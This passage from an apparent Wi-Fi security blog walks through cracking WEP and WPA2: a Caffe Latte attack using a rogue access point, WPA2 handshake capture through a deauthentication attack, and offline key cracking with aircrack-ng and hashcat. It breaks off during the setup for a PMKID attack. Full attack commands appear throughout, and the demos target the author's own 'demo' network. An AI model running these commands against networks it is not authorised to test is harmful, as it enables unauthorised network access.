<p>The key stone element of the attack is the adversary does not provide DHCP servers for the network linked to the malicious AP. This will force a connected client to eventually have their request for an IP address to timeout. At which point the client will automatically assign themselves an IP address from within the auto-configuration range ( 169.254.0.0/24 ), and then announce itself through a gratuitous ARP packet. The gratuitous ARP frame will trigger the caffe latte attack, which uses a bit flipping technique to forge a standard ARP request from a gratuitous ARP request. The conversion is done by the sender IP and sender MAC address. The resulting forged frame will coerce an ARP response from the client device. By continuously replaying the forged frame, a ARP response will be coerced, allowing the adversary to eventually capture enough of the WEP key material to brute force the WEP key.</p>

<h3 id="tools-required-1">Tools required</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">airodump-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">wireshark</code></li>
  <li><code class="language-plaintext highlighter-rouge">airbase-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">aircrack-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">iwconfig</code>
Assuming you are using Kali Linux, the above tools can be installed using the following command:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install aireplay-ng wireshark iw
</code></pre></div></div>

<h3 id="hardware-required-1">Hardware required</h3>

<ul>
  <li>single wireless adaptor capable of both being in monitor mode and packet injection, I’ll be using the ALFA AWUS036ACH ( chipset: <code class="language-plaintext highlighter-rouge">RTL8812AU</code> )</li>
</ul>

<h3 id="interface-configuration-1">Interface configuration</h3>

<p>After connecting the interface, the <code class="language-plaintext highlighter-rouge">lsusb</code> command is used to confirm that the Operating System (OS) detects the interface.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(kali㉿kali)-[~]
└─$ lsusb 
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 003 Device 009: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 008: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 004: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 003 Device 002: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
</code></pre></div></div>

<p>For this demo, the <code class="language-plaintext highlighter-rouge">wlan0</code> interface will be used and its current status is:</p>
<ul>
  <li>it is in the managed operational state, as shown by <code class="language-plaintext highlighter-rouge">iwconfig</code></li>
  <li>it is being controlled by Network Manager, as shown by the <code class="language-plaintext highlighter-rouge">nmcli</code> command</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~]
└─<span class="nv">$ </span><span class="nb">sudo </span>iwconfig      
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     unassociated  ESSID:<span class="s2">""</span>  Nickname:<span class="s2">"&lt;WIFI@REALTEK&gt;"</span>
          Mode:Managed  <span class="nv">Frequency</span><span class="o">=</span>2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

wlan1     unassociated  ESSID:<span class="s2">""</span>  Nickname:<span class="s2">"&lt;WIFI@REALTEK&gt;"</span>
          Mode:Managed  <span class="nv">Frequency</span><span class="o">=</span>2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

                                                                                                                                                                                                                                            
┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~]
└─<span class="nv">$ </span>nmcli dev          
DEVICE         TYPE      STATE         CONNECTION         
eth0           ethernet  connected     Wired connection 1 
wlan0          wifi      disconnected  <span class="nt">--</span>                 
wlan1          wifi      disconnected  <span class="nt">--</span>                 
p2p-dev-wlan0  wifi-p2p  disconnected  <span class="nt">--</span>                 
p2p-dev-wlan1  wifi-p2p  disconnected  <span class="nt">--</span>                 
lo             loopback  unmanaged     <span class="nt">--</span>                 
                                                                                                                                                                                                                                            
┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~]
└─<span class="err">$</span>
</code></pre></div></div>

<p>To ensure that Network Manager does not disrupt any attacks in-progress by changing the interface from monitor or master mode back to managed mode, use the following command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmcli dev <span class="nb">set </span>INTERFACE managed no
</code></pre></div></div>

<p>Once the interface is not longer controlled, the interface can be placed into monitor mode without Network Manager’s interference.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>iwconfig INTERFACE mode Monitor
</code></pre></div></div>

<hr />

<h3 id="conducting-the-attack-1">Conducting the attack</h3>

<p>After configuring the interface, <a href="https://github.com/aircrack-ng/aircrack-ng"><code class="language-plaintext highlighter-rouge">airodump-ng</code></a> is used for channel hopping to hunt for client devices broadcasting probe requests for previously known clients. In most cases, the clients of interest will be in an unassociated state. For the reason mentioned in the post’s opening into why my process has been changed regarding <code class="language-plaintext highlighter-rouge">airodump-ng</code>’s interface, <code class="language-plaintext highlighter-rouge">wireshark</code> will be used to identify the target of interest.</p>

<p>In the below example, it is unknown whether the target AP is on 2.4GHz or a 5GHz frequency, therefore the <code class="language-plaintext highlighter-rouge">--band abg</code> switch is used to enable channel hopping across both spectrums. The <code class="language-plaintext highlighter-rouge">-a</code> is used to attempt to reduce the noise presented by <code class="language-plaintext highlighter-rouge">airodump-ng</code> in high population areas by only reporting on clients observed to be associated to an AP.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">--band</span> abg <span class="nt">-a</span> wlan0
</code></pre></div></div>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122141844.png" alt="" /></p>

<p>After <code class="language-plaintext highlighter-rouge">airodump-ng</code> is launched, launch <code class="language-plaintext highlighter-rouge">wireshark</code> can attach it to the monitor interface, and then apply the below display filter to only show probe requests.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wlan.fc.type eq 0 and wlan.fc.subtype eq 4
</code></pre></div></div>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122142116.png" alt="" /></p>

<p>In the above image, a target client was identified to be probing for a wireless network by the name of <code class="language-plaintext highlighter-rouge">demo</code>. Using <code class="language-plaintext highlighter-rouge">airbase-ng</code>, a similar wireless network can be deployed using the monitor interface. Below an explanation of the <code class="language-plaintext highlighter-rouge">airbase-ng</code> command:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">-c</code> sets the channel used by the <code class="language-plaintext highlighter-rouge">airbase-ng</code> AP to <code class="language-plaintext highlighter-rouge">1</code></li>
  <li><code class="language-plaintext highlighter-rouge">--essid</code> sets the SSID of the <code class="language-plaintext highlighter-rouge">airbase-ng</code> AP to <code class="language-plaintext highlighter-rouge">demo</code></li>
  <li><code class="language-plaintext highlighter-rouge">-W</code> sets the WEP flag in the beacon</li>
  <li><code class="language-plaintext highlighter-rouge">-L</code> invokes the caffe latte attack</li>
  <li><code class="language-plaintext highlighter-rouge">-x</code> is used to limit the impact of the attack has on my virtual machine as it can consume I/O actions</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo airbase-ng -c 1 --essid wlan0 -W 1 -L -x 50
</code></pre></div></div>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122140328.png" alt="" /></p>

<p>Eventually a client device connects to the malicious AP, which in the below image is <code class="language-plaintext highlighter-rouge">40:EC:99:B2:70:96</code>, and the caffe latte attack is automatically triggered.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122140355.png" alt="" /></p>

<p>A <code class="language-plaintext highlighter-rouge">wireshark</code> display filter can be used to watch the frame count of the caffe latte attack to ensure enough of frames are captured to brute force the key material. This is shown in the below image in the bottom right-hand corner of the image.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wlan.addr eq 40:EC:99:B2:70:96
</code></pre></div></div>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122140512.png" alt="" /></p>

<p>I had let the attack run for 5-minutes, which roughly yielded 30,000 captured frames, and then saved the results into a PCAP file.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122141513.png" alt="" /></p>

<p class="note">Unfortunately <code class="language-plaintext highlighter-rouge">hashcat</code> does not support WEP cracking as it is considered a legacy encryption algorithm and is not worth supporting.</p>

<p>The <code class="language-plaintext highlighter-rouge">aircrack-ng</code> tool is used brute force the WEP key, as demonstrated using the below command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aircrack-ng demo-cl.pcap -b 00:11:22:33:44:00
</code></pre></div></div>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230122141450.png" alt="" /></p>

<h2 id="pre-shared-key-brute-force-attack">Pre-Shared Key Brute Force Attack</h2>

<p>The Wi-Fi hacking world, the Pre-Shared Keys (PSK) brute force attacks has been a well-publicised attack. When people are discussing brute forcing the PSK, it is typically in reference to capturing the four-way handshake and then performing a password brute force attack to recover the PSK.</p>

<p>As the adversary is attempting to capture the four-way handshake, the adversary must be in range of the target Access Point (AP) and a connected client. There are two methods for capturing the four-way handshake:</p>
<ul>
  <li>A passive approach in which the adversary places an interface into monitor, and then captures wireless communication as clients naturally roam in and out of range of the target AP</li>
  <li>An active approach in which the adversary places an interface into monitor mode, that is also capable of packet injection. Then the adversary performs a deauthentication attack to force the connect client to disconnect and reconnect to the target AP, which allows the four-way handshake to be intercepted</li>
</ul>

<p>While the passive approach has the obvious benefit of allowing the adversary to remain undetected if their target organisation has a Wireless Intrusion Prevention System (WIPS). However it has the disadvantage of likely requiring the adversary to expose themselves to potential physical detection for an extended window. Although this is dependent on how heavily used the target AP is, it could be that the target AP is so heavily utilised that a client is connecting every couple of minutes. Alternatively, the active approach has the benefit of allowing the adversary to limit their exposure to physical detection with the trade-off being if a WIPS is present, than the attack is likely to be squelched.</p>

<p>In the case of both methods, the steps are quite similar with the active method having only two additional steps.</p>

<h3 id="tools-required-2">Tools required</h3>
<ul>
  <li><code class="language-plaintext highlighter-rouge">airodump-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">aireplay-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">wireshark</code></li>
  <li><code class="language-plaintext highlighter-rouge">hashcat</code></li>
  <li><code class="language-plaintext highlighter-rouge">hcxpcapngtool</code></li>
  <li><code class="language-plaintext highlighter-rouge">iwconfig</code></li>
</ul>

<p>Assuming you are using Kali Linux, the above tools can be installed using the following command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install aireplay-ng wireshark hashcat hcxpcapngtool iw
</code></pre></div></div>

<h3 id="hardware-required-2">Hardware required</h3>
<ul>
  <li>single wireless adaptor capable of both being in monitor mode and packet injection, I’ll be using the ALFA AWUS036ACH ( chipset: <code class="language-plaintext highlighter-rouge">RTL8812AU</code> )</li>
</ul>

<h3 id="interface-configuration-2">Interface configuration</h3>

<p>After connecting the interface, the <code class="language-plaintext highlighter-rouge">lsusb</code> command is used to confirm that the Operating System (OS) detects the interface.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(kali㉿kali)-[~]
└─$ lsusb 
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 003 Device 009: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 008: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 004: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 003 Device 002: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
</code></pre></div></div>

<p>For this demo, the <code class="language-plaintext highlighter-rouge">wlan0</code> interface will be used and its current status is:</p>
<ul>
  <li>it is in the managed operational state, as shown by <code class="language-plaintext highlighter-rouge">iwconfig</code></li>
  <li>it is being controlled by Network Manager, as shown by the <code class="language-plaintext highlighter-rouge">nmcli</code> command</li>
</ul>

<pre><code class="language-Bash">┌──(kali㉿kali)-[~]
└─$ sudo iwconfig      
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     unassociated  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Managed  Frequency=2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

wlan1     unassociated  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Managed  Frequency=2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmcli dev          
DEVICE         TYPE      STATE         CONNECTION         
eth0           ethernet  connected     Wired connection 1 
wlan0          wifi      disconnected  --                 
wlan1          wifi      disconnected  --                 
p2p-dev-wlan0  wifi-p2p  disconnected  --                 
p2p-dev-wlan1  wifi-p2p  disconnected  --                 
lo             loopback  unmanaged     --                 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$
</code></pre>

<p>To ensure that Network Manager does not disrupt any attacks in-progress by changing the interface from monitor or master mode back to managed mode, use the following command:</p>

<pre><code class="language-Bash">sudo nmcli dev set INTERFACE managed no
</code></pre>

<p>Once the interface is not longer controlled, the interface can be placed into monitor mode without Network Manager’s interference.</p>

<pre><code class="language-Bash">sudo iwconfig INTERFACE mode Monitor
</code></pre>

<h3 id="conducting-the-attack-2">Conducting the attack</h3>

<p>After configuring the interface, <a href="https://github.com/aircrack-ng/aircrack-ng"><code class="language-plaintext highlighter-rouge">airodump-ng</code></a> is used to perform the initial target AP identification as shown in the example below. In the below example, it is unknown whether the target AP is on 2.4GHz or a 5GHz frequency, therefore the <code class="language-plaintext highlighter-rouge">--band abg</code> switch is used to enable channel hopping across both spectrums. The <code class="language-plaintext highlighter-rouge">-a</code> is used to attempt to reduce the noise presented by <code class="language-plaintext highlighter-rouge">airodump-ng</code> in high population areas by only reporting on clients observed to be associated to an AP.</p>

<pre><code class="language-Bash">sudo airodump-ng --band abg -a wlan0
</code></pre>

<p>In the below image, the target AP is broadcasting the SSID <code class="language-plaintext highlighter-rouge">demo</code>, listening on channel <code class="language-plaintext highlighter-rouge">157</code> and has the <code class="language-plaintext highlighter-rouge">7a:65:59:27:f4:0c</code> BSSID.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230117233625.png" alt="" /></p>

<p class="note">The same information can be retrieved using Network Manager without the need of using <a href="https://github.com/aircrack-ng/aircrack-ng"><code class="language-plaintext highlighter-rouge">airodump-ng</code></a>.</p>

<pre><code class="language-Bash">sudo nmcli dev wifi list
</code></pre>

<p>Readers of historical Wi-Fi hacking articles would notice a slight difference in execution technique in the next part. Out of sheer laziness for not wanting to have multiple terminal tabs open for this attack, <code class="language-plaintext highlighter-rouge">airodump-ng</code> is not used to change the channel of the monitor interface to match the target AP but instead it is done using the following <code class="language-plaintext highlighter-rouge">iwconfig</code> command:</p>

<pre><code class="language-Bash">sudo iwconfig wlan0 channel 157
</code></pre>

<p>Once <code class="language-plaintext highlighter-rouge">wireshark</code> is launched, it is attached to the monitor interface and the below display filter is used to focus on the target AP, by BSSID.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wlan.bssid == 7a:65:59:27:f4:0c
</code></pre></div></div>

<p>This is the point the process in which the paths between the passive and active methods begin to diverge.</p>

<h4 id="passive-approach">Passive approach</h4>
<p>Once <code class="language-plaintext highlighter-rouge">wireshark</code> is launched and recording captured packets, there are no real additional steps needing to be performed until a four-way handshake is captured. However, the following filter can be used to make it a little more obvious when a four-way handshake has been captured for the target AP.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(wlan.bssid == 7a:65:59:27:f4:0c) &amp;&amp; (eapol)
</code></pre></div></div>

<p>When a four-way handshake has been captured, it’ll be displayed like so.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118003009.png" alt="" /></p>

<h4 id="active-approach">Active approach</h4>
<p>As mentioned at the top of this section, the objective of the active approach is to capture a four-way handshake by coerce a connected client to re-authenticate to the target AP through performing a deauthentication attack. The display filter can be used to further remove the noise on the channel, by focusing in on the data frames being transmitted between the target BSSID and any associated clients.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(wlan.bssid == 7a:65:59:27:f4:0c) &amp;&amp; (wlan.fc.type_subtype == 0x0028)
</code></pre></div></div>

<p>In the below screenshot, the filter reveals a single data frame exchanged between the client device ( <code class="language-plaintext highlighter-rouge">b6:ca:67:31:83:f7</code> ) and the AP ( <code class="language-plaintext highlighter-rouge">7a:65:59:27:f4:0c</code> ).</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118003711.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">aireplay-ng</code> tool will be used to perform the deauthentication attack against the connect client using the following command example, below is an explanation of the command:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">-0</code> switch is for the deauthentication attack, with 10 being the number of deauthentication frames to send in each round of burst communication</li>
  <li><code class="language-plaintext highlighter-rouge">-a</code> switch supplies the BSSID of the target AP</li>
  <li><code class="language-plaintext highlighter-rouge">-c</code> switch supplied the MAC address of the client device</li>
  <li><code class="language-plaintext highlighter-rouge">wlan0</code> is the wireless interface in monitor mode.</li>
</ul>

<pre><code class="language-Bash">sudo aireplay-ng -0 10 -a 7a:65:59:27:f4:0c -c b6:ca:67:31:83:f7 wlan0
</code></pre>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118003938.png" alt="" /></p>

<p>During the deauthentication attack, the <code class="language-plaintext highlighter-rouge">aireplay-ng</code> will forge 2 sets of deauthentication:</p>
<ul>
  <li>A forged client device to AP deauthentication frame to tell the AP that client device wants to deauthenticate</li>
  <li>A forged AP to client device deauthentication frame to tell the client device to deauthenticate from the AP</li>
</ul>

<p>After the deauthentication attack has been performed, the adversary can use the following display filter to confirm that the four-way handshake had been captured for the target AP. If the four-way handshake had not been captured, the adversary would need repeat the attack again against the same target, or is possible against an alternative client. When a four-way handshake has been captured, it will be displayed within <code class="language-plaintext highlighter-rouge">wireshark</code> similar to the image below when using the following display filter.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(wlan.bssid == 7a:65:59:27:f4:0c) &amp;&amp; (eapol)
</code></pre></div></div>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118004722.png" alt="" /></p>

<p class="note">An added <code class="language-plaintext highlighter-rouge">wlan.fc.type_subtype == 0x000c</code> filter was included in the above screenshot to include the deauthentication frames in the image.</p>

<h3 id="point-of-re-convergence">Point of re-convergence</h3>

<p>With the four-way handshake capture and recorded in <code class="language-plaintext highlighter-rouge">wireshark</code>, it is saved to a PCAP file.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118005151.png" alt="" /></p>

<p>The next step is to prepare the PCAP file for the brute force attack to come, once again historical readers will be familiar with <code class="language-plaintext highlighter-rouge">aircrack-ng</code> being used to perform the brute force attack. The issue with <code class="language-plaintext highlighter-rouge">aircrack-ng</code> that is it utilises CPU processing power, and therefore is magnitudes more inefficient when compared to GPU processing power. As such, there has been an evolutional shift in the standard execution process to leverage GPU processing power for the brute force attack, with <code class="language-plaintext highlighter-rouge">hashcat</code> being the typical tool of choice. However to use <code class="language-plaintext highlighter-rouge">hashcat</code>, the PCAP file needs to have the four-way handshake extracted and converted to a format that is usable. This conversion process is performed using the <code class="language-plaintext highlighter-rouge">hcxpcapngtool</code>, as shown below.</p>

<pre><code class="language-Bash">hcxpcapngtool demo.pcap -o demo.22000
</code></pre>

<p>Out of habit, I will make the output file extension <code class="language-plaintext highlighter-rouge">.22000</code>. This is muscle memory that I’ve drilled into myself to remind myself what the hash type is that I am dealing with when using <code class="language-plaintext highlighter-rouge">hashcat</code>. For the case of PSK, <code class="language-plaintext highlighter-rouge">hashcat</code> requires mode <code class="language-plaintext highlighter-rouge">22000</code>, hence that is the file naming convention.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118005915.png" alt="" /></p>

<p class="note">In the above image, <code class="language-plaintext highlighter-rouge">hcxpcapngtool</code> reports that the four-way handshake has been written to the output file plus an additional artefact (refer to the side note section at the bottom of this section). After the extraction, I manually removed the PMKID entry.</p>

<p>Below is an example of the exported four-way handshake.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118010722.png" alt="" /></p>

<p>Using the below <code class="language-plaintext highlighter-rouge">hashcat</code> command, the PSK is brute forced using a basic word list file.</p>

<pre><code class="language-Bash">hashcat -m 22000 demo.22000 psk
</code></pre>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118011339.png" alt="" /></p>

<p class="note">The PSK has been compromised using <code class="language-plaintext highlighter-rouge">hashcat</code> in 0 seconds as shown above, however since this demo was performed in a Virtual Machine, <code class="language-plaintext highlighter-rouge">hashcat</code> used CPU power. The benefit of using <code class="language-plaintext highlighter-rouge">hashcat</code> comes into play when the adversary can use dedicated GPU power. This is typically going to be using cheap second-hand hardware bought online for the typical adversary.</p>

<h3 id="side-note">Side Note</h3>
<p>It is possible to determine that the target AP is vulnerable to PMKID brute forcing by looking at the EAPOL message 1 (M1) frame in the <code class="language-plaintext highlighter-rouge">wireshark</code> layer view. As shown below, when the 802.1X tree is fully expanded, we can see that the <code class="language-plaintext highlighter-rouge">WPA Key Data</code> field contains a value. An alternative approach for brute forcing the PSK via the PMKID will be covered in the section below. Ultimately, because the AP is vulnerable, the adversary does not actually require a connected client to be present to capture the four-way handshake and brute force the PSK. In fact, the adversary does not even require a client to be present, instead the adversary could connect themselves to the target AP using an arbitrary PSK to coerce the AP to send the PMKID.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118003409.png" alt="" /></p>

<h2 id="pmkid-brute-force-attack">PMKID Brute Force Attack</h2>
<p>The Wi-Fi hacking world, the Pre-Shared Keys (PSK) brute force attacks has been a well-publicised attack. When people are discussing brute forcing the PSK, it is typically in reference to capturing the four-way handshake and then performing a password brute force attack to recover the PSK.</p>

<p>However a newer method has since been identified which would allow the adversary to brute force the PSK, if the PMKID was captured. While not all AP are vulnerable, those that are expose the PMKID in the EAPOL message 1 (M1) of a four-way handshake. This means the adversary does not actually require a connected client to be present to capture the four-way handshake and brute force the PSK. In fact, the adversary does not even require a client to be present, instead the adversary could connect themselves to the target AP using an arbitrary PSK to coerce the AP to send the PMKID. As shown below, when the 802.1X tree is fully expanded, we can see that the <code class="language-plaintext highlighter-rouge">WPA Key Data</code> field contains a value.</p>

<p><img src="/assets/img/2023-01-22-cracking-wep-wpa2-wireless-encryption-redux/Pasted image 20230118003409.png" alt="" /></p>

<h3 id="tools-required-3">Tools required</h3>
<ul>
  <li><code class="language-plaintext highlighter-rouge">airodump-ng</code></li>
  <li><code class="language-plaintext highlighter-rouge">wireshark</code></li>
  <li><code class="language-plaintext highlighter-rouge">hashcat</code></li>
  <li><code class="language-plaintext highlighter-rouge">hcxpcapngtool</code></li>
  <li><code class="language-plaintext highlighter-rouge">iwconfig</code></li>
</ul>

<p>Assuming you are using Kali Linux, the above tools can be installed using the following command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install aireplay-ng wireshark hashcat hcxpcapngtool iw
</code></pre></div></div>

<h3 id="hardware-required-3">Hardware required</h3>
<ul>
  <li>two wireless adaptor, I’ll be using two ALFA AWUS036ACH ( chipset: <code class="language-plaintext highlighter-rouge">RTL8812AU</code> ). One of the interfaces will be in monitor mode.</li>
</ul>

<h3 id="interface-configuration-3">Interface configuration</h3>

<p>After connecting the interface, the <code class="language-plaintext highlighter-rouge">lsusb</code> command is used to confirm that the Operating System (OS) detects the interface.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(kali㉿kali)-[~]
└─$ lsusb 
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 003 Device 009: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 008: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
Bus 003 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 004: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 003 Device 002: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
</code></pre></div></div>

<p>For this demo, the <code class="language-plaintext highlighter-rouge">wlan0</code> interface will be used and its current status is:</p>
<ul>
  <li>it is in the managed operational state, as shown by <code class="language-plaintext highlighter-rouge">iwconfig</code></li>
  <li>it is being controlled by Network Manager, as shown by the <code class="language-plaintext highlighter-rouge">nmcli</code> command</li>
</ul>

<pre><code class="language-Bash">┌──(kali㉿kali)-[~]
└─$ sudo iwconfig      
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     unassociated  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Managed  Frequency=2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

wlan1     unassociated  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Managed  Frequency=2.412 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmcli dev          
DEVICE         TYPE      STATE         CONNECTION         
eth0           ethernet  connected     Wired connection 1 
wlan0          wifi      disconnected  --                 
wlan1          wifi      disconnected  --                 
p2p-dev-wlan0  wifi-p2p  disconnected  --                 
p2p-dev-wlan1  wifi-p2p  disconnected  --                 
lo             loopback  unmanaged     --                 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$
</code></pre>

<p>To ensure that Network Manager does not disrupt any attacks in-progress by changing the interface from monitor or master mode back to managed mode, use the following command:</p>

<pre><code class="language-Bash">sudo nmcli dev set INTERFACE managed no
</code></pre>

